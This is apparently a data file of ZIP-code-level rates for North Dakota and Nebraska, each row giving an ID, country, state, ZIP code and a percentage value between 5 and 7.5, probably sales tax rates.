US-ND-58639,US,ND,58639,6.5,,,, US-ND-58640,US,ND,58640,5,,,, US-ND-58641,US,ND,58641,5,,,, US-ND-58642,US,ND,58642,5,,,, US-ND-58643,US,ND,58643,5,,,, US-ND-58644,US,ND,58644,5,,,, US-ND-58645,US,ND,58645,5,,,, US-ND-58646,US,ND,58646,7,,,, US-ND-58647,US,ND,58647,7,,,, US-ND-58649,US,ND,58649,6,,,, US-ND-58650,US,ND,58650,7,,,, US-ND-58651,US,ND,58651,5,,,, US-ND-58652,US,ND,58652,5,,,, US-ND-58653,US,ND,58653,6,,,, US-ND-58654,US,ND,58654,5,,,, US-ND-58655,US,ND,58655,5,,,, US-ND-58656,US,ND,58656,5,,,, US-ND-58701,US,ND,58701,7.5,,,, US-ND-58702,US,ND,58702,7.5,,,, US-ND-58703,US,ND,58703,7.5,,,, US-ND-58704,US,ND,58704,5.5,,,, US-ND-58705,US,ND,58705,5.5,,,, US-ND-58707,US,ND,58707,7.5,,,, US-ND-58710,US,ND,58710,5,,,, US-ND-58711,US,ND,58711,5,,,, US-ND-58712,US,ND,58712,5,,,, US-ND-58713,US,ND,58713,5,,,, US-ND-58716,US,ND,58716,5,,,, US-ND-58718,US,ND,58718,5.5,,,, US-ND-58721,US,ND,58721,5,,,, US-ND-58722,US,ND,58722,5.5,,,, US-ND-58723,US,ND,58723,5,,,, US-ND-58725,US,ND,58725,5.5,,,, US-ND-58727,US,ND,58727,5,,,, US-ND-58730,US,ND,58730,5,,,, US-ND-58731,US,ND,58731,5,,,, US-ND-58733,US,ND,58733,5.5,,,, US-ND-58734,US,ND,58734,5.5,,,, US-ND-58735,US,ND,58735,5.5,,,, US-ND-58736,US,ND,58736,7,,,, US-ND-58737,US,ND,58737,5,,,, US-ND-58740,US,ND,58740,7,,,, US-ND-58741,US,ND,58741,5,,,, US-ND-58744,US,ND,58744,5,,,, US-ND-58746,US,ND,58746,7.5,,,, US-ND-58748,US,ND,58748,5,,,, US-ND-58750,US,ND,58750,5,,,, US-ND-58752,US,ND,58752,5,,,, US-ND-58755,US,ND,58755,5,,,, US-ND-58756,US,ND,58756,5.5,,,, US-ND-58757,US,ND,58757,5,,,, US-ND-58758,US,ND,58758,5,,,, US-ND-58759,US,ND,58759,5.5,,,, US-ND-58760,US,ND,58760,5,,,, US-ND-58761,US,ND,58761,5,,,, US-ND-58762,US,ND,58762,5,,,, US-ND-58763,US,ND,58763,5,,,, US-ND-58765,US,ND,58765,5,,,, US-ND-58768,US,ND,58768,5.5,,,, US-ND-58769,US,ND,58769,5,,,, US-ND-58770,US,ND,58770,5,,,, US-ND-58771,US,ND,58771,5,,,, US-ND-58772,US,ND,58772,5,,,, US-ND-58773,US,ND,58773,5,,,, US-ND-58775,US,ND,58775,5,,,, US-ND-58776,US,ND,58776,5,,,, US-ND-58778,US,ND,58778,5,,,, US-ND-58779,US,ND,58779,5.5,,,, US-ND-58781,US,ND,58781,5.5,,,, US-ND-58782,US,ND,58782,5,,,, US-ND-58783,US,ND,58783,5,,,, US-ND-58784,US,ND,58784,6.5,,,, US-ND-58785,US,ND,58785,7.5,,,, US-ND-58787,US,ND,58787,5,,,, US-ND-58788,US,ND,58788,5,,,, US-ND-58789,US,ND,58789,5,,,, US-ND-58790,US,ND,58790,7,,,, US-ND-58792,US,ND,58792,5,,,, US-ND-58793,US,ND,58793,6,,,, US-ND-58794,US,ND,58794,5,,,, US-ND-58795,US,ND,58795,5,,,, US-ND-58801,US,ND,58801,7,,,, US-ND-58802,US,ND,58802,7,,,, US-ND-58830,US,ND,58830,5,,,, US-ND-58831,US,ND,58831,5,,,, US-ND-58833,US,ND,58833,5,,,, US-ND-58835,US,ND,58835,5,,,, US-ND-58838,US,ND,58838,5,,,, US-ND-58843,US,ND,58843,5,,,, US-ND-58844,US,ND,58844,5,,,, US-ND-58845,US,ND,58845,5,,,, US-ND-58847,US,ND,58847,5,,,, US-ND-58849,US,ND,58849,5,,,, US-ND-58852,US,ND,58852,5,,,, US-ND-58853,US,ND,58853,5,,,, US-ND-58854,US,ND,58854,5,,,, US-ND-58856,US,ND,58856,5,,,, US-NE-68001,US,NE,68001,5.5,,,, US-NE-68002,US,NE,68002,5.5,,,, US-NE-68003,US,NE,68003,7,,,, US-NE-68004,US,NE,68004,6.5,,,, US-NE-68005,US,NE,68005,7,,,, US-NE-68007,US,NE,68007,5.5,,,, US-NE-68008,US,NE,68008,7,,,, US-NE-68009,US,NE,68009,7,,,, US-NE-68010,US,NE,68010,5.5,,,, US-NE-68014,US,NE,68014,5.5,,,, US-NE-68015,US,NE,68015,5.5,,,, US-NE-68016,US,NE,68016,5.5,,,, US-NE-68017,US,NE,68017,5.5,,,, US-NE-68018,US,NE,68018,5.5,,,, US-NE-68019,US,NE,68019,5.5,,,, US-NE-68020,US,NE,68020,5.5,,,, US-NE-68022,US,NE,68022,5.5,,,, US-NE-68023,US,NE,68023,5.5,,,, US-NE-68025,US,NE,68025,7,,,, US-NE-68026,US,NE,68026,7,,,, US-NE-68028,US,NE,68028,5.5,,,, US-NE-68029,US,NE,68029,5.5,,,, US-NE-68030,US,NE,68030,6,,,, US-NE-68031,US,NE,68031,5.5,,,, US-NE-68033,US,NE,68033,5.5,,,, US-NE-68034,US,NE,68034,5.5,,,, US-NE-68036,US,NE,68036,5.5,,,, US-NE-68037,US,NE,68037,5.5,,,, US-NE-68038,US,NE,68038,7,,,, US-NE-68039,US,NE,68039,5.5,,,, US-NE-68040,US,NE,68040,5.5,,,, US-NE-68041,US,NE,68041,5.5,,,, US-NE-68042,US,NE,68042,5.5,,,, US-NE-68044,US,NE,68044,5.5,,,, US-NE-68045,US,NE,68045,6.5,,,, US-NE-68046,US,NE,68046,7,,,, US-NE-68047,US,NE,68047,5.5,,,, US-NE-68048,US,NE,68048,7,,,, US-NE-68050,US,NE,68050,5.5,,,, US-NE-68055,US,NE,68055,5.5,,,, US-NE-68056,US,NE,68056,5.5,,,, US-NE-68057,US,NE,68057,5.5,,,, US-NE-68058,US,NE,68058,5.5,,,, US-NE-68059,US,NE,68059,5.5,,,, US-NE-68061,US,NE,68061,7,,,, US-NE-68062,US,NE,68062,5.5,,,, US-NE-68063,US,NE,68063,6.5,,,, US-NE-68064,US,NE,68064,5.5,,,, US-NE-68065,US,NE,68065,5.5,,,, US-NE-68066,US,NE,68066,7,,,, US-NE-68067,US,NE,68067,5.5,,,, US-NE-68068,US,NE,68068,5.5,,,, US-NE-68069,US,NE,68069,5.5,,,, US-NE-68070,US,NE,68070,5.5,,,, US-NE-68071,US,NE,68071,5.5,,,, US-NE-68072,US,NE,68072,5.5,,,, US-NE-68073,US,NE,68073,5.5,,,, US-NE-68101,US,NE,68101,7,,,, US-NE-68102,US,NE,68102,7,,,, US-NE-68103,US,NE,68103,7,,,, US-NE-68104,US,NE,68104,7,,,, US-NE-68105,US,NE,68105,7,,,, US-NE-68106,US,NE,68106,7,,,, US-NE-68107,US,NE,68107,7,,,, US-NE-68108,US,NE,68108,7,,,, US-NE-68109,US,NE,68109,7,,,, US-NE-68110,US,NE,68110,7,,,, US-NE-68111,US,NE,68111,7,,,, US-NE-68112,US,NE,68112,7,,,, US-NE-68113,US,NE,68113,5.5,,,, US-NE-68114,US,NE,68114,7,,,, US-NE-68116,US,NE,68116,5.5,,,, US-NE-68117,US,NE,68117,7,,,, US-NE-68118,US,NE,68118,7,,,, US-NE-68119,US,NE,68119,7,,,, US-NE-68120,US,NE,68120,7,,,, US-NE-68122,US,NE,68122,5.5,,,, US-NE-68123,US,NE,68123,5.5,,,, US-NE-68124,US,NE,68124,7,,,, US-NE-68127,US,NE,68127,7,,,, US-NE-68128,US,NE,68128,7,,,, US-NE-68130,US,NE,68130,7,,,, US-NE-68131,US,NE,68131,7,,,, US-NE-68132,US,NE,68132,7,,,, US-NE-68133,US,NE,68133,5.5,,,, US-NE-68134,US,NE,68134,7,,,, US-NE-68135,US,NE,68135,5.5,,,, US-NE-68136,US,NE,68136,5.5,,,, US-NE-68137,US,NE,68137,7,,,, US-NE-68138,US,NE,68138,5.5,,,, US-NE-68139,US,NE,68139,7,,,, US-NE-68142,US,NE,68142,5.5,,,, US-NE-68144,US,NE,68144,7,,,, US-NE-68145,US,NE,68145,7,,,, US-NE-68147,US,NE,68147,7,,,, US-NE-68152,US,NE,68152,7,,,, US-NE-68154,US,NE,68154,7,,,, US-NE-68155,US,NE,68155,7,,,, US-NE-68157,US,NE,68157,7,,,, US-NE-68164,US,NE,68164,7,,,, US-NE-68172,US,NE,68172,7,,,, US-NE-68175,US,NE,68175,7,,,, US-NE-68176,US,NE,68176,7,,,, US-NE-68178,US,NE,68178,7,,,, US-NE-68179,US,NE,68179,7,,,, US-NE-68180,US,NE,68180,7,,,, US-NE-68182,US,NE,68182,7,,,, US-NE-68183,US,NE,68183,7,,,, US-NE-68197,US,NE,68197,7,,,, US-NE-68198,US,NE,68198,7,,,, US-NE-68301,US,NE,68301,5.5,,,, US-NE-68303,US,NE,68303,5.5,,,, US-NE-68304,US,NE,68304,5.5,,,, US-NE-68305,US,NE,68305,6.5,,,, US-NE-68307,US,NE,68307,5.5,,,, US-NE-68309,US,NE,68309,5.5,,,, US-NE-68310,US,NE,68310,7,,,, US-NE-68313,US,NE,68313,5.5,,,, US-NE-68314,US,NE,68314,5.5,,,, US-NE-68315,US,NE,68315,5.5,,,, US-NE-68316,US,NE,68316,5.5,,,, US-NE-68317,US,NE,68317,5.5,,,, US-NE-68318,US,NE,68318,5.5,,,, US-NE-68319,US,NE,68319,5.5,,,, US-NE-68320,US,NE,68320,5.5,,,, US-NE-68321,US,NE,68321,6.5,,,, US-NE-68322,US,NE,68322,5.5,,,, US-NE-68323,US,NE,68323,5.5,,,, US-NE-68324,US,NE,68324,5.5,,,, US-NE-68325,US,NE,68325,5.5,,,, US-NE-68326,US,NE,68326,5.5,,,, US-NE-68327,US,NE,68327,6.5,,,, US-NE-68328,US,NE,68328,5.5,,,, US-NE-68329,US,NE,68329,5.5,,,, US-NE-68330,US,NE,68330,6.5,,,, US-NE-68331,US,NE,68331,5.5,,,, US-NE-68332,US,NE,68332,5.5,,,, US-NE-68333,US,NE,68333,7,,,, US-NE-68335,US,NE,68335,5.5,,,, US-NE-68336,US,NE,68336,5.5,,,, US-NE-68337,US,NE,68337,5.5,,,, US-NE-68338,US,NE,68338,5.5,,,, US-NE-68339,US,NE,68339,5.5,,,, US-NE-68340,US,NE,68340,5.5,,,, US-NE-68341,US,NE,68341,5.5,,,, US-NE-68342,US,NE,68342,5.5,,,, US-NE-68343,US,NE,68343,5.5,,,, US-NE-68344,US,NE,68344,7,,,, US-NE-68345,US,NE,68345,5.5,,,, US-NE-68346,US,NE,68346,5.5,,,, US-NE-68347,US,NE,68347,5.5,,,, US-NE-68348,US,NE,68348,5.5,,,, US-NE-68349,US,NE,68349,5.5,,,, US-NE-68350,US,NE,68350,5.5,,,, US-NE-68351,US,NE,68351,7,,,, US-NE-68352,US,NE,68352,7,,,, US-NE-68354,US,NE,68354,5.5,,,, US-NE-68355,US,NE,68355,7,,,, US-NE-68357,US,NE,68357,5.5,,,, US-NE-68358,US,NE,68358,5.5,,,, US-NE-68359,US,NE,68359,6.5,,,, US-NE-68360,US,NE,68360,5.5,,,, US-NE-68361,US,NE,68361,7,,,, US-NE-68362,US,NE,68362,6.5,,,, US-NE-68364,US,NE,68364,5.5,,,, US-NE-68365,US,NE,68365,5.5,,,, US-NE-68366,US,NE,68366,5.5,,,, US-NE-68367,US,NE,68367,5.5,,,, US-NE-68368,US,NE,68368,5.5,,,, US-NE-68370,US,NE,68370,6.5,,,, US-NE-68371,US,NE,68371,7,,,, US-NE-68372,US,NE,68372,5.5,,,, US-NE-68375,US,NE,68375,6.5,,,, US-NE-68376,US,NE,68376,5.5,,,, US-NE-68377,US,NE,68377,5.5,,,, US-NE-68378,US,NE,68378,5.5,,,, US-NE-68379,US,NE,68379,5.5,,,, US-NE-68380,US,NE,68380,5.5,,,, US-NE-68381,US,NE,68381,5.5,,,, US-NE-68382,US,NE,68382,5.5,,,, US-NE-68401,US,NE,68401,5.5,,,, US-NE-68402,US,NE,68402,5.5,,,, US-NE-68403,US,NE,68403,5.5,,,, US-NE-68404,US,NE,68404,5.5,,,, US-NE-68405,US,NE,68405,6.5,,,, US-NE-68406,US,NE,68406,5.5,,,, US-NE-68407,US,NE,68407,5.5,,,, US-NE-68409,US,NE,68409,5.5,,,, US-NE-68410,US,NE,68410,7,,,, US-NE-68413,US,NE,68413,5.5,,,, US-NE-68414,US,NE,68414,5.5,,,, US-NE-68415,US,NE,68415,6.5,,,, US-NE-68416,US,NE,68416,5.5,,,, US-NE-68417,US,NE,68417,5.5,,,, US-NE-68418,US,NE,68418,6.5,,,, US-NE-68419,US,NE,68419,5.5,,,, US-NE-68420,US,NE,68420,7,,,, US-NE-68421,US,NE,68421,6.5,,,, US-NE-68422,US,NE,68422,5.5,,,, US-NE-68423,US,NE,68423,5.5,,,, US-NE-68424,US,NE,68424,5.5,,,, US-NE-68428,US,NE,68428,5.5,,,, US-NE-68429,US,NE,68429,5.5,,,, US-NE-68430,US,NE,68430,5.5,,,, US-NE-68431,US,NE,68431,5.5,,,, US-NE-68433,US,NE,68433,5.5,,,, US-NE-68434,US,NE,68434,6.5,,,, US-NE-68436,US,NE,68436,5.5,,,, US-NE-68437,US,NE,68437,5.5,,,, US-NE-68438,US,NE,68438,5.5,,,, US-NE-68439,US,NE,68439,5.5,,,, US-NE-68440,US,NE,68440,5.5,,,, US-NE-68441,US,NE,68441,5.5,,,, US-NE-68442,US,NE,68442,5.5,,,, US-NE-68443,US,NE,68443,6.5,,,, US-NE-68444,US,NE,68444,5.5,,,, US-NE-68445,US,NE,68445,5.5,,,, US-NE-68446,US,NE,68446,6.5,,,, US-NE-68447,US,NE,68447,5.5,,,, US-NE-68448,US,NE,68448,5.5,,,, US-NE-68450,US,NE,68450,7,,,, US-NE-68452,US,NE,68452,5.5,,,, US-NE-68453,US,NE,68453,5.5,,,, US-NE-68454,US,NE,68454,5.5,,,, US-NE-68455,US,NE,68455,5.5,,,, US-NE-68456,US,NE,68456,5.5,,,, US-NE-68457,US,NE,68457,5.5,,,, US-NE-68458,US,NE,68458,5.5,,,, US-NE-68460,US,NE,68460,5.5,,,, US-NE-68461,US,NE,68461,5.5,,,, US-NE-68462,US,NE,68462,6.5,,,, US-NE-68463,US,NE,68463,5.5,,,, US-NE-68464,US,NE,68464,5.5,,,, US-NE-68465,US,NE,68465,6.5,,,, US-NE-68466,US,NE,68466,7,,,, US-NE-68467,US,NE,68467,7,,,, US-NE-68501,US,NE,68501,7,,,, US-NE-68502,US,NE,68502,7,,,, US-NE-68503,US,NE,68503,7,,,, US-NE-68504,US,NE,68504,7,,,, US-NE-68505,US,NE,68505,7,,,, US-NE-68506,US,NE,68506,7,,,, US-NE-68507,US,NE,68507,7,,,, US-NE-68508,US,NE,68508,7,,,, US-NE-68509,US,NE,68509,7,,,, US-NE-68510,US,NE,68510,7,,,, US-NE-68512,US,NE,68512,7,,,, US-NE-68514,US,NE,68514,5.5,,,, US-NE-68516,US,NE,68516,7,,,, US-NE-68517,US,NE,68517,5.5,,,, US-NE-68520,US,NE,68520,5.5,,,, US-NE-68521,US,NE,68521,7,,,, US-NE-68522,US,NE,68522,7,,,, US-NE-68523,US,NE,68523,5.5,,,, US-NE-68524,US,NE,68524,7,,,, US-NE-68526,US,NE,68526,7,,,, US-NE-68527,US,NE,68527,5.5,,,, US-NE-68528,US,NE,68528,7,,,, US-NE-68529,US,NE,68529,7,,,, US-NE-68531,US,NE,68531,5.5,,,, US-NE-68532,US,NE,68532,5.5,,,, US-NE-68542,US,NE,68542,7,,,, US-NE-68544,US,NE,68544,7,,,, US-NE-68583,US,NE,68583,7,,,, US-NE-68588,US,NE,68588,7,,,, US-NE-68601,US,NE,68601,7,,,, US-NE-68602,US,NE,68602,7,,,, US-NE-68620,US,NE,68620,7,,,, US-NE-68621,US,NE,68621,5.5,,,, US-NE-68622,US,NE,68622,5.5,,,, US-NE-68623,US,NE,68623,5.5,,,, US-NE-68624,US,NE,68624,5.5,,,, US-NE-68626,US,NE,68626,6.5,,,, US-NE-68627,US,NE,68627,6.5,,,, US-NE-68628,US,NE,68628,5.5,,,, US-NE-68629,US,NE,68629,5.5,,,, US-NE-68631,US,NE,68631,5.5,,,, US-NE-68632,US,NE,68632,7,,,, US-NE-68633,US,NE,68633,5.5,,,, US-NE-68634,US,NE,68634,6.5,,,, US-NE-68635,US,NE,68635,5.5,,,, US-NE-68636,US,NE,68636,6.5,,,, US-NE-68637,US,NE,68637,5.5,,,, US-NE-68638,US,NE,68638,7,,,, US-NE-68640,US,NE,68640,7,,,, US-NE-68641,US,NE,68641,6.5,,,, US-NE-68642,US,NE,68642,7,,,, US-NE-68643,US,NE,68643,5.5,,,, US-NE-68644,US,NE,68644,5.5,,,, US-NE-68647,US,NE,68647,5.5,,,, US-NE-68648,US,NE,68648,5.5,,,, US-NE-68649,US,NE,68649,7,,,, US-NE-68651,US,NE,68651,7,,,, US-NE-68652,US,NE,68652,5.5,,,, US-NE-68653,US,NE,68653,5.5,,,, US-NE-68654,US,NE,68654,5.5,,,, US-NE-68655,US,NE,68655,5.5,,,, US-NE-68658,US,NE,68658,5.5,,,, US-NE-68659,US,NE,68659,5.5,,,, US-NE-68660,US,NE,68660,6.5,,,, US-NE-68661,US,NE,68661,7,,,, US-NE-68662,US,NE,68662,5.5,,,, US-NE-68663,US,NE,68663,6.5,,,, US-NE-68664,US,NE,68664,5.5,,,, US-NE-68665,US,NE,68665,5.5,,,, US-NE-68666,US,NE,68666,7,,,, US-NE-68667,US,NE,68667,5.5,,,, US-NE-68669,US,NE,68669,5.5,,,, US-NE-68701,US,NE,68701,7,,,, US-NE-68702,US,NE,68702,7,,,, US-NE-68710,US,NE,68710,5.5,,,, US-NE-68711,US,NE,68711,5.5,,,, US-NE-68713,US,NE,68713,6.5,,,, US-NE-68714,US,NE,68714,6.5,,,, US-NE-68715,US,NE,68715,5.5,,,, US-NE-68716,US,NE,68716,5.5,,,, US-NE-68717,US,NE,68717,5.5,,,, US-NE-68718,US,NE,68718,5.5,,,, US-NE-68719,US,NE,68719,5.5,,,, US-NE-68720,US,NE,68720,5.5,,,, US-NE-68722,US,NE,68722,5.5,,,, US-NE-68723,US,NE,68723,5.5,,,, US-NE-68724,US,NE,68724,5.5,,,, US-NE-68725,US,NE,68725,6.5,,,, US-NE-68726,US,NE,68726,7,,,, US-NE-68727,US,NE,68727,5.5,,,, US-NE-68728,US,NE,68728,5.5,,,, US-NE-68729,US,NE,68729,6.5,,,, US-NE-68730,US,NE,68730,5.5,,,, US-NE-68731,US,NE,68731,6,,,, US-NE-68732,US,NE,68732,5.5,,,, US-NE-68733,US,NE,68733,6,,,, US-NE-68734,US,NE,68734,5.5,,,, US-NE-68735,US,NE,68735,5.5,,,, US-NE-68736,US,NE,68736,5.5,,,, US-NE-68738,US,NE,68738,5.5,,,, US-NE-68739,US,NE,68739,5.5,,,, US-NE-68740,US,NE,68740,5.5,,,, US-NE-68741,US,NE,68741,6,,,, US-NE-68742,US,NE,68742,5.5,,,, US-NE-68743,US,NE,68743,6,,,, US-NE-68745,US,NE,68745,5.5,,,, US-NE-68746,US,NE,68746,5.5,,,, US-NE-68747,US,NE,68747,5.5,,,, US-NE-68748,US,NE,68748,7,,,, US-NE-68749,US,NE,68749,5.5,,,, US-NE-68751,US,NE,68751,5.5,,,, US-NE-68752,US,NE,68752,5.5,,,, US-NE-68753,US,NE,68753,5.5,,,, US-NE-68755,US,NE,68755,5.5,,,, US-NE-68756,US,NE,68756,6.5,,,, US-NE-68757,US,NE,68757,5.5,,,, US-NE-68758,US,NE,68758,7,,,, US-NE-68759,US,NE,68759,5.5,,,, US-NE-68760,US,NE,68760,6.5,,,, US-NE-68761,US,NE,68761,5.5,,,, US-NE-68763,US,NE,68763,7,,,, US-NE-68764,US,NE,68764,5.5,,,, US-NE-68765,US,NE,68765,6.5,,,, US-NE-68766,US,NE,68766,5.5,,,, US-NE-68767,US,NE,68767,6.5,,,, US-NE-68768,US,NE,68768,5.5,,,, US-NE-68769,US,NE,68769,7,,,, US-NE-68770,US,NE,68770,7,,,, US-NE-68771,US,NE,68771,5.5,,,, US-NE-68773,US,NE,68773,5.5,,,, US-NE-68774,US,NE,68774,5.5,,,, US-NE-68776,US,NE,68776,6,,,, US-NE-68777,US,NE,68777,5.5,,,, US-NE-68778,US,NE,68778,5.5,,,, US-NE-68779,US,NE,68779,5.5,,,, US-NE-68780,US,NE,68780,5.5,,,, US-NE-68781,US,NE,68781,5.5,,,, US-NE-68783,US,NE,68783,5.5,,,, US-NE-68784,US,NE,68784,6.5,,,, US-NE-68785,US,NE,68785,5.5,,,, US-NE-68786,US,NE,68786,6.5,,,, US-NE-68787,US,NE,68787,6.5,,,, US-NE-68788,US,NE,68788,7,,,, US-NE-68789,US,NE,68789,5.5,,,, US-NE-68790,US,NE,68790,5.5,,,, US-NE-68791,US,NE,68791,7,,,, US-NE-68792,US,NE,68792,5.5,,,, US-NE-68801,US,NE,68801,7,,,, US-NE-68802,US,NE,68802,7,,,, US-NE-68803,US,NE,68803,7,,,, US-NE-68810,US,NE,68810,5.5,,,, US-NE-68812,US,NE,68812,5.5,,,, US-NE-68813,US,NE,68813,5.5,,,, US-NE-68814,US,NE,68814,5.5,,,, US-NE-68815,US,NE,68815,5.5,,,, US-NE-68816,US,NE,68816,5.5,,,, US-NE-68817,US,NE,68817,5.5,,,, US-NE-68818,US,NE,68818,5.5,,,, US-NE-68820,US,NE,68820,5.5,,,, US-NE-68821,US,NE,68821,5.5,,,, US-NE-68822,US,NE,68822,7,,,, US-NE-68823,US,NE,68823,5.5,,,, US-NE-68824,US,NE,68824,5.5,,,, US-NE-68825,US,NE,68825,5.5,,,, US-NE-68826,US,NE,68826,6.5,,,, US-NE-68827,US,NE,68827,5.5,,,, US-NE-68828,US,NE,68828,5.5,,,, US-NE-68831,US,NE,68831,5.5,,,, US-NE-68832,US,NE,68832,5.5,,,, US-NE-68833,US,NE,68833,5.5,,,, US-NE-68834,US,NE,68834,5.5,,,, US-NE-68835,US,NE,68835,5.5,,,, US-NE-68836,US,NE,68836,5.5,,,, US-NE-68837,US,NE,68837,5.5,,,, US-NE-68838,US,NE,68838,5.5,,,, US-NE-68840,US,NE,68840,5.5,,,, US-NE-68841,US,NE,68841,5.5,,,, US-NE-68842,US,NE,68842,5.5,,,, US-NE-68843,US,NE,68843,5.5,,,, US-NE-68844,US,NE,68844,5.5,,,, US-NE-68845,US,NE,68845,7,,,, US-NE-68846,US,NE,68846,5.5,,,, US-NE-68847,US,NE,68847,7,,,, US-NE-68848,US,NE,68848,7,,,, US-NE-68849,US,NE,68849,7,,,, US-NE-68850,US,NE,68850,7,,,, US-NE-68852,US,NE,68852,5.5,,,, US-NE-68853,US,NE,68853,7,,,, US-NE-68854,US,NE,68854,5.5,,,, US-NE-68855,US,NE,68855,5.5,,,, US-NE-68856,US,NE,68856,5.5,,,, US-NE-68858,US,NE,68858,5.5,,,, US-NE-68859,US,NE,68859,5.5,,,, US-NE-68860,US,NE,68860,6.5,,,, US-NE-68861,US,NE,68861,5.5,,,, US-NE-68862,US,NE,68862,7,,,, US-NE-68863,US,NE,68863,5.5,,,, US-NE-68864,US,NE,68864,5.5,,,, US-NE-68865,US,NE,68865,5.5,,,, US-NE-68866,US,NE,68866,5.5,,,, US-NE-68869,US,NE,68869,5.5,,,, US-NE-68870,US,NE,68870,5.5,,,, US-NE-68871,US,NE,68871,5.5,,,, US-NE-68872,US,NE,68872,5.5,,,, US-NE-68873,US,NE,68873,6.5,,,, US-NE-68874,US,NE,68874,7,,,, US-NE-68875,US,NE,68875,5.5,,,, US-NE-68876,US,NE,68876,5.5,,,, US-NE-68878,US,NE,68878,5.5,,,, US-NE-68879,US,NE,68879,5.5,,,, US-NE-68881,US,NE,68881,5.5,,,, US-NE-68882,US,NE,68882,5.5,,,, US-NE-68883,US,NE,68883,5.5,,,, US-NE-68901,US,NE,68901,7,,,, US-NE-68902,US,NE,68902,7,,,, US-NE-68920,US,NE,68920,7.5,,,, US-NE-68922,US,NE,68922,6.5,,,, US-NE-68923,US,NE,68923,5.5,,,, US-NE-68924,US,NE,68924,5.5,,,, US-NE-68925,US,NE,68925,5.5,,,, US-NE-68926,US,NE,68926,6.5,,,, US-NE-68927,US,NE,68927,5.5,,,, US-NE-68928,US,NE,68928,5.5,,,, US-NE-68929,US,NE,68929,5.5,,,, US-NE-68930,US,NE,68930,6.5,,,, US-NE-68932,US,NE,68932,5.5,,,, US-NE-68933,US,NE,68933,6.5,,,, US-NE-68934,US,NE,68934,6.5,,,, US-NE-68935,US,NE,68935,6.5,,,, US-NE-68936,US,NE,68936,5.5,,,, US-NE-68937,US,NE,68937,5.5,,,, US-NE-68938,US,NE,68938,5.5,,,, US-NE-68939,US,NE,68939,6.5,,,, US-NE-68940,US,NE,68940,5.5,,,, US-NE-68941,US,NE,68941,5.5,,,, US-NE-68942,US,NE,68942,6.5,,,, US-NE-68943,US,NE,68943,5.5,,,, US-NE-68944,US,NE,68944,6.5,,,, US-NE-68945,US,NE,68945,5.5,,,, US-NE-68946,US,NE,68946,5.5,,,, US-NE-68947,US,NE,68947,6.5,,,, US-NE-68948,US,NE,68948,5.5,,,, US-NE-68949,US,NE,68949,7,,,, US-NE-68950,US,NE,68950,5.5,,,, US-NE-68952,US,NE,68952,5.5,,,, US-NE-68954,US,NE,68954,5.5,,,, US-NE-68955,US,NE,68955,5.5,,,, US-NE-68956,US,NE,68956,5.5,,,, US-NE-68957,US,NE,68957,5.5,,,, US-NE-68958,US,NE,68958,5.5,,,, US-NE-68959,US,NE,68959,6.5,,,, US-NE-68960,US,NE,68960,5.5,,,, US-NE-68961,US,NE,68961,6.5,,,, US-NE-68964,US,NE,68964,5.5,,,, US-NE-68966,US,NE,68966,5.5,,,, US-NE-68967,US,NE,68967,7,,,, US-NE-68969,US,NE,68969,5.5,,,, US-NE-68970,US,NE,68970,7,,,, US-NE-68971,US,NE,68971,5.5,,,, US-NE-68972,US,NE,68972,5.5,,,, US-NE-68973,US,NE,68973,5.5,,,, US-NE-68974,US,NE,68974,5.5,,,, US-NE-68975,US,NE,68975,5.5,,,, US-NE-68976,US,NE,68976,5.5,,,, US-NE-68977,US,NE,68977,5.5,,,, US-NE-68978,US,NE,68978,6.5,,,, US-NE-68979,US,NE,68979,7,,,, US-NE-68980,US,NE,68980,5.5,,,, US-NE-68981,US,NE,68981,5.5,,,, US-NE-68982,US,NE,68982,5.5,,,, US-NE-69001,US,NE,69001,7,,,, US-NE-69020,US,NE,69020,5.5,,,, US-NE-69021,US,NE,69021,7,,,, US-NE-69022,US,NE,69022,7,,,, US-NE-69023,US,NE,69023,5.5,,,, US-NE-69024,US,NE,69024,5.5,,,, US-NE-69025,US,NE,69025,6.5,,,, US-NE-69026,US,NE,69026,5.5,,,, US-NE-69027,US,NE,69027,5.5,,,, US-NE-69028,US,NE,69028,5.5,,,, US-NE-69029,US,NE,69029,5.5,,,, US-NE-69030,US,NE,69030,5.5,,,, US-NE-69032,US,NE,69032,5.5,,,, US-NE-69033,US,NE,69033,6.5,,,, US-NE-69034,US,NE,69034,5.5,,,, US-NE-69036,US,NE,69036,5.5,,,, US-NE-69037,US,NE,69037,5.5,,,, US-NE-69038,US,NE,69038,5.5,,,, US-NE-69039,US,NE,69039,5.5,,,, US-NE-69040,US,NE,69040,5.5,,,, US-NE-69041,US,NE,69041,5.5,,,, US-NE-69042,US,NE,69042,5.5,,,, US-NE-69043,US,NE,69043,5.5,,,, US-NE-69044,US,NE,69044,5.5,,,, US-NE-69045,US,NE,69045,5.5,,,, US-NE-69046,US,NE,69046,5.5,,,, US-NE-69101,US,NE,69101,7,,,, US-NE-69103,US,NE,69103,7,,,, US-NE-69120,US,NE,69120,6.5,,,, US-NE-69121,US,NE,69121,5.5,,,, US-NE-69122,US,NE,69122,5.5,,,, US-NE-69123,US,NE,69123,5.5,,,, US-NE-69125,US,NE,69125,5.5,,,, US-NE-69127,US,NE,69127,5.5,,,, US-NE-69128,US,NE,69128,5.5,,,, US-NE-69129,US,NE,69129,5.5,,,, US-NE-69130,US,NE,69130,7,,,, US-NE-69131,US,NE,69131,5.5,,,, US-NE-69132,US,NE,69132,5.5,,,, US-NE-69133,US,NE,69133,5.5,,,, US-NE-69134,US,NE,69134,5.5,,,, US-NE-69135,US,NE,69135,5.5,,,, US-NE-69138,US,NE,69138,7,,,, US-NE-69140,US,NE,69140,6.5,,,, US-NE-69141,US,NE,69141,5.5,,,, US-NE-69142,US,NE,69142,5.5,,,, US-NE-69143,US,NE,69143,5.5,,,, US-NE-69144,US,NE,69144,5.5,,,, US-NE-69145,US,NE,69145,7,,,, US-NE-69146,US,NE,69146,5.5,,,, US-NE-69147,US,NE,69147,5.5,,,, US-NE-69148,US,NE,69148,5.5,,,, US-NE-69149,US,NE,69149,5.5,,,, US-NE-69150,US,NE,69150,5.5,,,, US-NE-69151,US,NE,69151,5.5,,,, US-NE-69152,US,NE,69152,5.5,,,, US-NE-69153,US,NE,69153,7,,,, US-NE-69154,US,NE,69154,7,,,, US-NE-69155,US,NE,69155,5.5,,,, US-NE-69156,US,NE,69156,5.5,,,, US-NE-69157,US,NE,69157,5.5,,,, US-NE-69160,US,NE,69160,7.5,,,, US-NE-69161,US,NE,69161,5.5,,,, US-NE-69162,US,NE,69162,7.5,,,, US-NE-69163,US,NE,69163,5.5,,,, US-NE-69165,US,NE,69165,5.5,,,, US-NE-69166,US,NE,69166,5.5,,,, US-NE-69167,US,NE,69167,5.5,,,, 